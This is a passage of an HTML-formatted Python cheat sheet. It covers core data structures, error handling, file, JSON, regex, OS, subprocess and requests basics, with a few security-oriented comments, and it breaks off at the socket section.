<span class="giallo-l"><span>xs</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">append</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">4</span><span style="color: #9E9B93;">)</span><span>; xs</span><span style="color: #9E9B93;">[</span><span style="color: #A292A3;">0</span><span style="color: #9E9B93;">]</span><span>; xs</span><span style="color: #9E9B93;">[</span><span style="color: #C4B28A;">-</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">]</span><span>; xs</span><span style="color: #9E9B93;">[</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">:</span><span style="color: #A292A3;">3</span><span style="color: #9E9B93;">]</span><span>; </span><span style="color: #8BA4B0;">len</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">xs</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># dict — key/value</span></span>
<span class="giallo-l"><span>d</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> {</span><span style="color: #8A9A7B;">"user"</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> "pablo"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "id"</span><span style="color: #9E9B93;">:</span><span style="color: #A292A3;"> 1</span><span style="color: #9E9B93;">}</span></span>
<span class="giallo-l"><span>d</span><span style="color: #9E9B93;">[</span><span style="color: #8A9A7B;">"id"</span><span style="color: #9E9B93;">]</span><span>; d</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">get</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"missing"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "default"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # .get avoids KeyError</span></span>
<span class="giallo-l"><span>d</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">keys</span><span style="color: #9E9B93;">()</span><span>; d</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">values</span><span style="color: #9E9B93;">()</span><span>; d</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">items</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">for</span><span> k</span><span style="color: #9E9B93;">,</span><span> v</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> d</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">items</span><span style="color: #9E9B93;">():</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">k</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> v</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># set — unique, unordered (fast membership + dedup)</span></span>
<span class="giallo-l"><span>s</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> {</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 2</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 2</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 3</span><span style="color: #9E9B93;">}</span><span style="color: #737C73;"> # -> {1, 2, 3}</span></span>
<span class="giallo-l"><span style="color: #A292A3;">3</span><span style="color: #C4B28A;"> in</span><span> s</span><span style="color: #737C73;"> # membership test (fast)</span></span>
<span class="giallo-l"><span style="color: #8EA4A2;">set</span><span style="color: #9E9B93;">([</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 1</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 2</span><span style="color: #9E9B93;">])</span><span style="color: #737C73;"> # dedup a list</span></span>
<span class="giallo-l"><span>a</span><span style="color: #C4B28A;"> &</span><span> b; a</span><span style="color: #C4B28A;"> |</span><span> b; a</span><span style="color: #C4B28A;"> -</span><span> b</span><span style="color: #737C73;"> # intersection / union / difference</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># tuple — immutable</span></span>
<span class="giallo-l"><span>point</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> (</span><span style="color: #A292A3;">10</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;"> 20</span><span style="color: #9E9B93;">)</span></span></code></pre><h2 id="comprehensions">Comprehensions</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #9E9B93;">[</span><span>x</span><span style="color: #C4B28A;"> *</span><span> x</span><span style="color: #8992A7;font-weight: bold;"> for</span><span> x</span><span style="color: #8992A7;font-weight: bold;"> in</span><span style="color: #8BA4B0;"> range</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">5</span><span style="color: #9E9B93;">)]</span><span style="color: #737C73;"> # -> [0, 1, 4, 9, 16]</span></span>
<span class="giallo-l"><span style="color: #9E9B93;">[</span><span>x</span><span style="color: #8992A7;font-weight: bold;"> for</span><span> x</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> xs</span><span style="color: #8992A7;font-weight: bold;"> if</span><span> x</span><span style="color: #C4B28A;"> %</span><span style="color: #A292A3;"> 2</span><span style="color: #C4B28A;"> ==</span><span style="color: #A292A3;"> 0</span><span style="color: #9E9B93;">]</span><span style="color: #737C73;"> # with a filter</span></span>
<span class="giallo-l"><span style="color: #9E9B93;">{</span><span>k</span><span style="color: #9E9B93;">:</span><span> v</span><span style="color: #8992A7;font-weight: bold;"> for</span><span> k</span><span style="color: #9E9B93;">,</span><span> v</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> d</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">items</span><span style="color: #9E9B93;">()}</span><span style="color: #737C73;"> # dict comprehension</span></span>
<span class="giallo-l"><span style="color: #9E9B93;">{</span><span>c</span><span style="color: #8992A7;font-weight: bold;"> for</span><span> c</span><span style="color: #8992A7;font-weight: bold;"> in</span><span style="color: #8A9A7B;"> "hello"</span><span style="color: #9E9B93;">}</span><span style="color: #737C73;"> # set comprehension -> {'h','e','l','o'}</span></span></code></pre><h2 id="error-handling-try-except">Error handling: try / except</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">try</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> risky</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">except</span><span style="color: #8EA4A2;"> ValueError</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> e</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">f</span><span style="color: #8A9A7B;">"bad value: </span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">e</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">except</span><span style="color: #9E9B93;"> (</span><span style="color: #8EA4A2;">KeyError</span><span style="color: #9E9B93;">,</span><span style="color: #8EA4A2;"> IndexError</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> ...</span><span style="color: #737C73;"> # catch several types</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">except</span><span style="color: #8EA4A2;"> Exception</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> e</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">f</span><span style="color: #8A9A7B;">"unexpected: </span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">e</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">else</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"ran with no error"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">finally</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"always runs (cleanup)"</span><span style="color: #9E9B93;">)</span></span></code></pre><h2 id="files-with-open-io-tempfile-shutil-zipfile">Files: with open, io, tempfile, shutil, zipfile</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #737C73;"># read / write with a context manager (auto-closes the file)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span style="color: #8BA4B0;"> open</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"file.txt"</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> f</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> data</span><span style="color: #C4B28A;"> =</span><span> f</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">read</span><span style="color: #9E9B93;">()</span><span style="color: #737C73;"> # whole file</span></span>
<span class="giallo-l"><span style="color: #737C73;"> # for line in f: ... # line by line (memory-friendly)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span style="color: #8BA4B0;"> open</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"out.txt"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "w"</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> f</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> f</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">write</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"hello</span><span style="color: #949FB5;">\n</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># io — in-memory file-like objects (no disk needed)</span></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> io</span></span>
<span class="giallo-l"><span>buf</span><span style="color: #C4B28A;"> =</span><span> io</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">StringIO</span><span style="color: #9E9B93;">()</span><span>; buf</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">write</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"x"</span><span style="color: #9E9B93;">)</span><span>; buf</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">getvalue</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span>raw</span><span style="color: #C4B28A;"> =</span><span> io</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">BytesIO</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">b</span><span style="color: #8A9A7B;">"</span><span style="color: #949FB5;">\x00\x01</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># tempfile — safe temporary files/dirs</span></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> tempfile</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span> tempfile</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">NamedTemporaryFile</span><span style="color: #9E9B93;">(</span><span>delete</span><span style="color: #C4B28A;">=</span><span style="color: #B6927B;">False</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> tmp</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> tmp</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">write</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">b</span><span style="color: #8A9A7B;">"data"</span><span style="color: #9E9B93;">)</span><span>; path</span><span style="color: #C4B28A;"> =</span><span> tmp</span><span style="color: #9E9B93;">.</span><span>name</span></span>
<span class="giallo-l"><span>workdir</span><span style="color: #C4B28A;"> =</span><span> tempfile</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">mkdtemp</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># shutil — high-level file operations</span></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> shutil</span></span>
<span class="giallo-l"><span>shutil</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">copy</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"a"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "b"</span><span style="color: #9E9B93;">)</span><span>; shutil</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">copytree</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"src"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "dst"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>shutil</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">move</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"a"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "b"</span><span style="color: #9E9B93;">)</span><span>; shutil</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">rmtree</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"dir"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>shutil</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">which</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"nmap"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # find an executable in PATH</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># zipfile — read/write archives</span></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> zipfile</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span> zipfile</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">ZipFile</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"a.zip"</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> z</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> z</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">namelist</span><span style="color: #9E9B93;">()</span><span>; z</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">extractall</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"out/"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span> zipfile</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">ZipFile</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"new.zip"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "w"</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> z</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> z</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">write</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"file.txt"</span><span style="color: #9E9B93;">)</span></span></code></pre><h2 id="data-formats-json-base64-urllib">Data formats: json, base64, urllib</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> json</span></span>
<span class="giallo-l"><span>json</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">dumps</span><span style="color: #9E9B93;">({</span><span style="color: #8A9A7B;">"a"</span><span style="color: #9E9B93;">:</span><span style="color: #A292A3;"> 1</span><span style="color: #9E9B93;">})</span><span style="color: #737C73;"> # dict -> JSON string</span></span>
<span class="giallo-l"><span>json</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">loads</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">'{"a": 1}'</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # JSON string -> dict</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">with</span><span style="color: #8BA4B0;"> open</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"d.json"</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> as</span><span> f</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> obj</span><span style="color: #C4B28A;"> =</span><span> json</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">load</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">f</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # read+parse a file</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> base64</span></span>
<span class="giallo-l"><span>base64</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">b64encode</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">b</span><span style="color: #8A9A7B;">"hi"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # -> b'aGk='</span></span>
<span class="giallo-l"><span>base64</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">b64decode</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"aGk="</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # -> b'hi' (common in payloads/tokens)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #B6927B;">from</span><span> urllib</span><span style="color: #9E9B93;">.</span><span>parse</span><span style="color: #B6927B;"> import</span><span> quote</span><span style="color: #9E9B93;">,</span><span> urlencode</span><span style="color: #9E9B93;">,</span><span> urlparse</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">quote</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"a b/c"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # 'a%20b%2Fc' (URL-encode a value)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">urlencode</span><span style="color: #9E9B93;">({</span><span style="color: #8A9A7B;">"q"</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> "a b"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "n"</span><span style="color: #9E9B93;">:</span><span style="color: #A292A3;"> 1</span><span style="color: #9E9B93;">})</span><span style="color: #737C73;"> # 'q=a+b&n=1' (build a query string)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">urlparse</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"https://h/p?q=1"</span><span style="color: #9E9B93;">).</span><span>query</span><span style="color: #737C73;"> # 'q=1'</span></span></code></pre><h2 id="text-re-regex">Text: re (regex)</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> re</span></span>
<span class="giallo-l"><span>re</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">search</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">r</span><span style="color: #8A9A7B;">"</span><span style="color: #B98D7B;">\d</span><span style="color: #C4B28A;">+</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "abc123"</span><span style="color: #9E9B93;">).</span><span style="color: #8BA4B0;">group</span><span style="color: #9E9B93;">()</span><span style="color: #737C73;"> # first match -> '123'</span></span>
<span class="giallo-l"><span>re</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">findall</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">r</span><span style="color: #8A9A7B;">"</span><span style="color: #B98D7B;">\w</span><span style="color: #C4B28A;">+</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "a b c"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # -> ['a', 'b', 'c']</span></span>
<span class="giallo-l"><span>re</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">sub</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">r</span><span style="color: #8A9A7B;">"</span><span style="color: #B98D7B;">\s</span><span style="color: #C4B28A;">+</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "_"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "a b"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # -> 'a_b'</span></span>
<span class="giallo-l"><span>m</span><span style="color: #C4B28A;"> =</span><span> re</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">match</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">r</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">(</span><span style="color: #B98D7B;">\w</span><span style="color: #C4B28A;">+</span><span style="color: #9E9B93;">)</span><span style="color: #B98D7B;">@</span><span style="color: #9E9B93;">(</span><span style="color: #B98D7B;">\w</span><span style="color: #C4B28A;">+</span><span style="color: #9E9B93;">)</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "user@host"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # anchored at the start</span></span>
<span class="giallo-l"><span>m</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">group</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">),</span><span> m</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">group</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # -> ('user', 'host')</span></span></code></pre><h2 id="system-sys-os-platform-subprocess">System: sys, os, platform, subprocess</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> sys</span></span>
<span class="giallo-l"><span>sys</span><span style="color: #9E9B93;">.</span><span>argv</span><span style="color: #737C73;"> # raw command-line args (list)</span></span>
<span class="giallo-l"><span>sys</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">exit</span><span style="color: #9E9B93;">(</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # exit with a status code</span></span>
<span class="giallo-l"><span>sys</span><span style="color: #9E9B93;">.</span><span>stdin</span><span style="color: #9E9B93;">,</span><span> sys</span><span style="color: #9E9B93;">.</span><span>stdout</span><span style="color: #9E9B93;">,</span><span> sys</span><span style="color: #9E9B93;">.</span><span>stderr</span><span style="color: #737C73;"> # standard streams</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> os</span></span>
<span class="giallo-l"><span>os</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">getcwd</span><span style="color: #9E9B93;">()</span><span>; os</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">listdir</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"."</span><span style="color: #9E9B93;">)</span><span>; os</span><span style="color: #9E9B93;">.</span><span>path</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">join</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"a"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "b"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>os</span><span style="color: #9E9B93;">.</span><span>environ</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">get</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"HOME"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # read an env var</span></span>
<span class="giallo-l"><span>os</span><span style="color: #9E9B93;">.</span><span>path</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">exists</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"f"</span><span style="color: #9E9B93;">)</span><span>; os</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">makedirs</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"a/b"</span><span style="color: #9E9B93;">,</span><span> exist_ok</span><span style="color: #C4B28A;">=</span><span style="color: #B6927B;">True</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> platform</span></span>
<span class="giallo-l"><span>platform</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">system</span><span style="color: #9E9B93;">()</span><span style="color: #737C73;"> # 'Linux' / 'Windows' / 'Darwin'</span></span>
<span class="giallo-l"><span>platform</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">release</span><span style="color: #9E9B93;">()</span><span>; platform</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">machine</span><span style="color: #9E9B93;">()</span><span style="color: #737C73;"> # OS + CPU arch (host fingerprinting)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> subprocess</span></span>
<span class="giallo-l"><span>res</span><span style="color: #C4B28A;"> =</span><span> subprocess</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">run</span><span style="color: #9E9B93;">([</span><span style="color: #8A9A7B;">"ls"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;"> "-la"</span><span style="color: #9E9B93;">],</span><span> capture_output</span><span style="color: #C4B28A;">=</span><span style="color: #B6927B;">True</span><span style="color: #9E9B93;">,</span><span> text</span><span style="color: #C4B28A;">=</span><span style="color: #B6927B;">True</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>res</span><span style="color: #9E9B93;">.</span><span>stdout</span><span style="color: #9E9B93;">,</span><span> res</span><span style="color: #9E9B93;">.</span><span>returncode</span><span style="color: #737C73;"> # text=True -> str output</span></span></code></pre>
<blockquote>
<p>Pass commands as a <strong>list</strong> and avoid <code>shell=True</code> with untrusted input - string+shell is how command injection happens.</p>
</blockquote>
<h2 id="networking-requests-session-json-socket">Networking: requests (Session, json=), socket</h2>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #B6927B;">import</span><span> requests</span></span>
<span class="giallo-l"><span>r</span><span style="color: #C4B28A;"> =</span><span> requests</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">get</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"https://api.example.com/users"</span><span style="color: #9E9B93;">,</span></span>
<span class="giallo-l"><span> params</span><span style="color: #C4B28A;">=</span><span style="color: #9E9B93;">{</span><span style="color: #8A9A7B;">"page"</span><span style="color: #9E9B93;">:</span><span style="color: #A292A3;"> 1</span><span style="color: #9E9B93;">},</span></span>
<span class="giallo-l"><span> headers</span><span style="color: #C4B28A;">=</span><span style="color: #9E9B93;">{</span><span style="color: #8A9A7B;">"Authorization"</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> "Bearer TOKEN"</span><span style="color: #9E9B93;">})</span></span>
<span class="giallo-l"><span>r</span><span style="color: #9E9B93;">.</span><span>status_code; r</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">json</span><span style="color: #9E9B93;">()</span><span>; r</span><span style="color: #9E9B93;">.</span><span>text; r</span><span style="color: #9E9B93;">.</span><span>headers</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># json= serializes the body AND sets Content-Type: application/json</span></span>
<span class="giallo-l"><span>requests</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">post</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"https://api.example.com/x"</span><span style="color: #9E9B93;">,</span><span> json</span><span style="color: #C4B28A;">=</span><span style="color: #9E9B93;">{</span><span style="color: #8A9A7B;">"msg"</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> "hi"</span><span style="color: #9E9B93;">})</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Session — reuse cookies / headers / TCP connection across requests</span></span>
<span class="giallo-l"><span>s</span><span style="color: #C4B28A;"> =</span><span> requests</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">Session</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span>s</span><span style="color: #9E9B93;">.</span><span>headers</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">update</span><span style="color: #9E9B93;">({</span><span style="color: #8A9A7B;">"User-Agent"</span><span style="color: #9E9B93;">:</span><span style="color: #8A9A7B;"> "tool"</span><span style="color: #9E9B93;">})</span></span>
<span class="giallo-l"><span>s</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">get</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"https://site/login"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # cookies set here...</span></span>
<span class="giallo-l"><span>s</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">get</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"https://site/dashboard"</span><span style="color: #9E9B93;">)</span><span style="color: #737C73;"> # ...are sent automatically here</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># socket — raw TCP (e.g. banner grabbing a service)</span></span>
<span class="giallo-l"><span style="color: #B6927B;">import</span><span> socket</span></span>
